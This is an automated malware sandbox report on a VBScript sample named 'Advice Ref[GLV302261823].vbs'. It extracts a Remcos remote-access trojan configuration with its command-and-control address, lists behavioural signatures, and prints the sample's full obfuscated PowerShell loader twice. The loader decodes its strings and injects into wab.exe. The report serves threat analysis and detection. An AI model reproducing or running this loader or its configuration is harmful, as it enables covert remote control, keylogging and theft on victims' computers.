Analysis
- max time kernel
150s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
20/07/2026, 11:16
General
- Target Advice Ref[GLV302261823].vbs
- Size 43KB
- Sample260720-ndbt6sat71
- SHA256 91eab30212060bf6021a4fbd2b844711dd11e680cb50e7f648925bc8179870ef
Malware Config
Extracted
-
remcos
-
7.2.6 Pro
-
RemoteHost
-
102.220.160.105:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-21S2XL
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advice Ref[GLV302261823].vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "function zxyvwq { [void](Get-Date); $tamarack207 = [System.IO.Path]::GetTempPath()}rv 'venie' 'sensitivities' 'eker7';[void](Get-Date);$telethon=12457-12457;$swathing=-32610+38610;$readaptable = [Math]::Sqrt(144);function udsendendes ($souvlaki,$ansttelsesomraadet) {$herpetology = [Math]::Sqrt(225);$furnish=gglervogn(@(119,222,222,225,219,226,208,210,215,146,208,221,226,197,147,147,205,211,233,227,219,211,209,225,202,230,194,216,225,205,198,218,212,219,151)) ;[void](Get-Date);Patientness ($furnish);[void][Guid]::NewGuid()}function gglervogn ($ecphonema) { $econometricians = [System.IO.Path]::GetTempPath();do {$swathing=$telethon%13;[void](Get-Culture);$ecphonema[$telethon]-=$fremstilledesndgraveres[$swathing];$swathing=$ecphonema[$telethon];$swathing=[char]$swathing;$fremstilledesnterseptum = 'foobar thud qux'.ToUpper();$rubbishry+=$swathing;$telethon++} while ($ecphonema[$telethon])[char[]]'snarf glob blurp' | Out-Null;$rubbishry}function plmkoz { $unpounced = [Guid]::NewGuid(); [void](Get-Culture)}function Patientness ($ugtes) {$deroutens = Get-Process -Id $PID;&($inspirationist) $ugtes;[void]([System.DateTime]::Now)}Function Downstater192 ($ecphonema,$coastman=0){$gobble = [Math]::Round(3.14159);$legemligt=gglervogn(@(174,174,222,218,219,219,225,219,203,159,168,171,229,194,216,177,205,216,219,165,155,193,217,224,206,225,186,147,147,209,200,230,215,214,220,202,219,198,156));$elektrostatik=@(Patientness ($legemligt));For($fremstilledes=0; $elektrostatik[$fremstilledes] -ne $sequencies; $fremstilledes++){[void](Get-Date);$elektrostatik[$fremstilledes] = udsendendes $elektrostatik[$fremstilledes] $fremstilledesndgraveres[$fremstilledes%13]}$synedes=gglervogn(@(128,213,222,213,211,150,202,202,214,198,224,192,208,176,143,212,216,202,225,227,217,221,216,226,198,231,188,214));$tokomponentlimer165 = 'gargle snarf'.Split(' ');$hellenisticism=Patientness ($synedes);if ($coastman) { Patientness $hellenisticism;[void][Guid]::NewGuid()}else {;$hellenisticism}$porcellana = [System.Environment]::MachineName}$fremstilledesndgraveres=@(83,107,111,108,101,118,111,103,110,101,110,101,115);Start-Sleep -Milliseconds 1;$inspirationist=gglervogn @(156,176,199);$overmagtens='\Elektroskopet.Tri';$trdokkerne = [System.IO.Path]::GetRandomFileName();$sigmaspire=Downstater192 'ZkVfTE0hBgkKChkWUx0/T11VWF9cTjIHC0VnUE8UU0JURxwTVFRGYUVfRUUxCgQFCkFXQ2JbX11VR08hBxcLAxwrRF5ZV1hf';$sulfoforbindelses=Downstater192 'Ox8bHBZMQEgKFwcTFn0MAAMCGgpJDQoDSgYwVAoUFRkdE1MBARIdPwQOCEMfC1pfNhwkGWUSBl8WPQwRPQsKMx8gLz0aFCcEUxYcXh8VHQE=';$ansttelsesomraadetlafferpigernes=Downstater192 'HhgXAQlEQTQLFxgAAQsmIyQxIj9JWEte';[void]([System.DateTime]::Now);$skatteafdelingerne=Downstater192 'FC47';$rephotographed=Downstater192 'BhgKHkg3CAIAEQ==';$vindingen = 'plugh xyzzy frotz'.ToUpper();$skraasikres=Downstater192 'bQ==';Downstater192 'dwwDAwcXA10eFwcWHTcZBgICEwEUU0ELCwVpCh8cARcbBkVBARMWIQYOCxETARQ=' 1;Downstater192 'dwwDAwcXA10BFR0EHTQOHFFBBRoLCAoICgExAgEIABocAh1LHRUfOh9HSBYdHQYPFgcOATYYRg==' 1;[void](Get-Culture);$sulfoforbindelses=$opsanges[0];Downstater192 'dwwDAwcXA10bFx0EFm4lChtIOQ0NCwYaRV4QBAJMQRcBFBoRCwkANhgAARcXDgMLEQIEFTUOHRwMEQoVAAAd' 1;Downstater192 'dwwDAwcXA10ACgAWECECHxgQBA4LU006AAAnRj8NER5PQx4XBxYdNxkGAgITARRH' 1;$filstrukturers = Get-Process -Id $PID;while (!$nonscriptural) {Downstater192 'dwwDAwcXA10gAAoAHTwGUkgRBBoC' 1;Downstater192 'dx4dHwQTQQgeAABNVyAADhgREw4BCgACDB00Dh0CAFpPQx0QAgMcNQQdDgwYCwICFgsWX3NPCQ0JBQpO' 1;[char[]]'grue zork' | Out-Null;Downstater192 'dx4dHwQTQRQLETwAAiYOHBgtEw4DCxdGQQE2GwcDERkIFQ8VBgAXf0tLHwwRAgYdFQcXFno=' 1;Downstater192 'dx4dHwQTQRQLCwpNWg==' 1;Downstater192 'dwwDAwcXA10MEAMJFicECAlYUhoVHQQLSwAnChsZFlZCAh9FXFVD' 1;[void][Guid]::NewGuid();if ($bumletoge) {Downstater192 'CAkWGAAtMjpKAgIKETIHVRYEFA4NAQsLWFcmGRwNAFgdAh0VAQsANikACBw=' 1;Downstater192 'IAhPSBUEBhQAARwMHTQOAR9FUhUGDAQECh02S0IpCxUAAwcLCUUxKh8K' 1;$porcellana = [Math]::Round(3.14159)} Downstater192 'AAcKCRVeW04=' 1;Downstater192 'dwwDAwcXA10ACgAWECECHxgQBA4LU006AAAnRj8NER5PQx4XBxYdNxkGAgITARRH' 1 ;$eardrops108 = 'wibble wobble baz'.Split(' ');Downstater192 'dwwDAwcXA10DEB0OBj8ZCh9YUggLAQcPCUk+AgEIFxMbBgIJCwsWIEBESUEZHxQPCwkAAH0IABkLAg==' 1;$sulfoforbindelses=$opsanges[$muskulres]}[void]([System.IO.Path]::GetTempPath());$flagellation=154557;$tabulatorstoppet=19548;Downstater192 'dwwDAwcXA10eCQ8BFiAbBgAJEx0CAFgJBlN3Gx0FFhgLFQcLCQAdIA==' 1;$tokomponentlimer165 = [System.Environment]::MachineName;Downstater192 'dwwDAwcXA10gCgATEiECChgMExxWXFg1Jhw9HQoeEStVXSgXAQgxMhgKWlElGxUHCwlNVyMHDggABR8OAgkLFxY9Qg==' 1;Downstater192 'dwwDAwcXA10dBAAWGm4wOwkdAkEiAAYBARo9DDJWXzc8JCcsQCIWJzgbHgwYCE9KKwELBTIZBgkRHwoUX1dH' 1;Downstater192 'dwwDAwcXA10dCRgRGSAYBA0HExsUU0EdBB0gAkEfEBQcExwMAAJbdw0DDQITAwsPEQcKHX9PGw0HAwMGGgocFgc8Gx8JEV8=' 1;Start-Sleep -Milliseconds 2;Patientness $slvtjsskabets;function rtwpxq { $upopulrere = [System.Environment]::MachineName};;;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function zxyvwq { [void](Get-Date); $tamarack207 = [System.IO.Path]::GetTempPath()}rv 'venie' 'sensitivities' 'eker7';[void](Get-Date);$telethon=12457-12457;$swathing=-32610+38610;$readaptable = [Math]::Sqrt(144);function udsendendes ($souvlaki,$ansttelsesomraadet) {$herpetology = [Math]::Sqrt(225);$furnish=gglervogn(@(119,222,222,225,219,226,208,210,215,146,208,221,226,197,147,147,205,211,233,227,219,211,209,225,202,230,194,216,225,205,198,218,212,219,151)) ;[void](Get-Date);Patientness ($furnish);[void][Guid]::NewGuid()}function gglervogn ($ecphonema) { $econometricians = [System.IO.Path]::GetTempPath();do {$swathing=$telethon%13;[void](Get-Culture);$ecphonema[$telethon]-=$fremstilledesndgraveres[$swathing];$swathing=$ecphonema[$telethon];$swathing=[char]$swathing;$fremstilledesnterseptum = 'foobar thud qux'.ToUpper();$rubbishry+=$swathing;$telethon++} while ($ecphonema[$telethon])[char[]]'snarf glob blurp' | Out-Null;$rubbishry}function plmkoz { $unpounced = [Guid]::NewGuid(); [void](Get-Culture)}function Patientness ($ugtes) {$deroutens = Get-Process -Id $PID;&($inspirationist) $ugtes;[void]([System.DateTime]::Now)}Function Downstater192 ($ecphonema,$coastman=0){$gobble = [Math]::Round(3.14159);$legemligt=gglervogn(@(174,174,222,218,219,219,225,219,203,159,168,171,229,194,216,177,205,216,219,165,155,193,217,224,206,225,186,147,147,209,200,230,215,214,220,202,219,198,156));$elektrostatik=@(Patientness ($legemligt));For($fremstilledes=0; $elektrostatik[$fremstilledes] -ne $sequencies; $fremstilledes++){[void](Get-Date);$elektrostatik[$fremstilledes] = udsendendes $elektrostatik[$fremstilledes] $fremstilledesndgraveres[$fremstilledes%13]}$synedes=gglervogn(@(128,213,222,213,211,150,202,202,214,198,224,192,208,176,143,212,216,202,225,227,217,221,216,226,198,231,188,214));$tokomponentlimer165 = 'gargle snarf'.Split(' ');$hellenisticism=Patientness ($synedes);if ($coastman) { Patientness $hellenisticism;[void][Guid]::NewGuid()}else {;$hellenisticism}$porcellana = [System.Environment]::MachineName}$fremstilledesndgraveres=@(83,107,111,108,101,118,111,103,110,101,110,101,115);Start-Sleep -Milliseconds 1;$inspirationist=gglervogn @(156,176,199);$overmagtens='\Elektroskopet.Tri';$trdokkerne = [System.IO.Path]::GetRandomFileName();$sigmaspire=Downstater192 'ZkVfTE0hBgkKChkWUx0/T11VWF9cTjIHC0VnUE8UU0JURxwTVFRGYUVfRUUxCgQFCkFXQ2JbX11VR08hBxcLAxwrRF5ZV1hf';$sulfoforbindelses=Downstater192 'Ox8bHBZMQEgKFwcTFn0MAAMCGgpJDQoDSgYwVAoUFRkdE1MBARIdPwQOCEMfC1pfNhwkGWUSBl8WPQwRPQsKMx8gLz0aFCcEUxYcXh8VHQE=';$ansttelsesomraadetlafferpigernes=Downstater192 'HhgXAQlEQTQLFxgAAQsmIyQxIj9JWEte';[void]([System.DateTime]::Now);$skatteafdelingerne=Downstater192 'FC47';$rephotographed=Downstater192 'BhgKHkg3CAIAEQ==';$vindingen = 'plugh xyzzy frotz'.ToUpper();$skraasikres=Downstater192 'bQ==';Downstater192 'dwwDAwcXA10eFwcWHTcZBgICEwEUU0ELCwVpCh8cARcbBkVBARMWIQYOCxETARQ=' 1;Downstater192 'dwwDAwcXA10BFR0EHTQOHFFBBRoLCAoICgExAgEIABocAh1LHRUfOh9HSBYdHQYPFgcOATYYRg==' 1;[void](Get-Culture);$sulfoforbindelses=$opsanges[0];Downstater192 'dwwDAwcXA10bFx0EFm4lChtIOQ0NCwYaRV4QBAJMQRcBFBoRCwkANhgAARcXDgMLEQIEFTUOHRwMEQoVAAAd' 1;Downstater192 'dwwDAwcXA10ACgAWECECHxgQBA4LU006AAAnRj8NER5PQx4XBxYdNxkGAgITARRH' 1;$filstrukturers = Get-Process -Id $PID;while (!$nonscriptural) {Downstater192 'dwwDAwcXA10gAAoAHTwGUkgRBBoC' 1;Downstater192 'dx4dHwQTQQgeAABNVyAADhgREw4BCgACDB00Dh0CAFpPQx0QAgMcNQQdDgwYCwICFgsWX3NPCQ0JBQpO' 1;[char[]]'grue zork' | Out-Null;Downstater192 'dx4dHwQTQRQLETwAAiYOHBgtEw4DCxdGQQE2GwcDERkIFQ8VBgAXf0tLHwwRAgYdFQcXFno=' 1;Downstater192 'dx4dHwQTQRQLCwpNWg==' 1;Downstater192 'dwwDAwcXA10MEAMJFicECAlYUhoVHQQLSwAnChsZFlZCAh9FXFVD' 1;[void][Guid]::NewGuid();if ($bumletoge) {Downstater192 'CAkWGAAtMjpKAgIKETIHVRYEFA4NAQsLWFcmGRwNAFgdAh0VAQsANikACBw=' 1;Downstater192 'IAhPSBUEBhQAARwMHTQOAR9FUhUGDAQECh02S0IpCxUAAwcLCUUxKh8K' 1;$porcellana = [Math]::Round(3.14159)} Downstater192 'AAcKCRVeW04=' 1;Downstater192 'dwwDAwcXA10ACgAWECECHxgQBA4LU006AAAnRj8NER5PQx4XBxYdNxkGAgITARRH' 1 ;$eardrops108 = 'wibble wobble baz'.Split(' ');Downstater192 'dwwDAwcXA10DEB0OBj8ZCh9YUggLAQcPCUk+AgEIFxMbBgIJCwsWIEBESUEZHxQPCwkAAH0IABkLAg==' 1;$sulfoforbindelses=$opsanges[$muskulres]}[void]([System.IO.Path]::GetTempPath());$flagellation=154557;$tabulatorstoppet=19548;Downstater192 'dwwDAwcXA10eCQ8BFiAbBgAJEx0CAFgJBlN3Gx0FFhgLFQcLCQAdIA==' 1;$tokomponentlimer165 = [System.Environment]::MachineName;Downstater192 'dwwDAwcXA10gCgATEiECChgMExxWXFg1Jhw9HQoeEStVXSgXAQgxMhgKWlElGxUHCwlNVyMHDggABR8OAgkLFxY9Qg==' 1;Downstater192 'dwwDAwcXA10dBAAWGm4wOwkdAkEiAAYBARo9DDJWXzc8JCcsQCIWJzgbHgwYCE9KKwELBTIZBgkRHwoUX1dH' 1;Downstater192 'dwwDAwcXA10dCRgRGSAYBA0HExsUU0EdBB0gAkEfEBQcExwMAAJbdw0DDQITAwsPEQcKHX9PGw0HAwMGGgocFgc8Gx8JEV8=' 1;Start-Sleep -Milliseconds 2;Patientness $slvtjsskabets;function rtwpxq { $upopulrere = [System.Environment]::MachineName};;;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Elektroskopet.Tri
memory/1208-78-0x0000000000800000-0x0000000001AE6000-memory.dmp
memory/1208-73-0x0000000000800000-0x0000000001AE6000-memory.dmp
memory/1208-56-0x0000000000800000-0x0000000001AE6000-memory.dmp
memory/1416-29-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-31-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-10-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-11-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-13-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-12-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-14-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-15-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-16-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-17-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-18-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-22-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-23-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-24-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-25-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-26-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-27-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-28-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-0-0x00007FFD609FF000-0x00007FFD60A00000-memory.dmp
memory/1416-30-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-32-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-9-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-34-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-35-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-1-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-5-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-4-0x000002115ADC0000-0x000002115ADE2000-memory.dmp
memory/1416-6-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-7-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/1416-8-0x00007FFD60870000-0x00007FFD61214000-memory.dmp
memory/4836-50-0x0000000006FA0000-0x0000000007036000-memory.dmp
memory/4836-37-0x0000000004ED0000-0x000000000551A000-memory.dmp
memory/4836-46-0x0000000005CE0000-0x0000000005D2C000-memory.dmp
memory/4836-38-0x0000000005520000-0x0000000005542000-memory.dmp
memory/4836-48-0x0000000007620000-0x0000000007C9C000-memory.dmp
memory/4836-49-0x0000000006220000-0x000000000623A000-memory.dmp
memory/4836-52-0x0000000007CA0000-0x000000000825A000-memory.dmp
memory/4836-41-0x00000000057B0000-0x0000000005B0B000-memory.dmp
memory/4836-45-0x0000000005CC0000-0x0000000005CDE000-memory.dmp
memory/4836-40-0x0000000005630000-0x0000000005696000-memory.dmp
memory/4836-55-0x0000000008260000-0x000000000DF81000-memory.dmp
memory/4836-39-0x00000000055C0000-0x0000000005626000-memory.dmp
memory/4836-51-0x0000000006CF0000-0x0000000006D12000-memory.dmp
memory/4836-36-0x00000000047D0000-0x0000000004806000-memory.dmp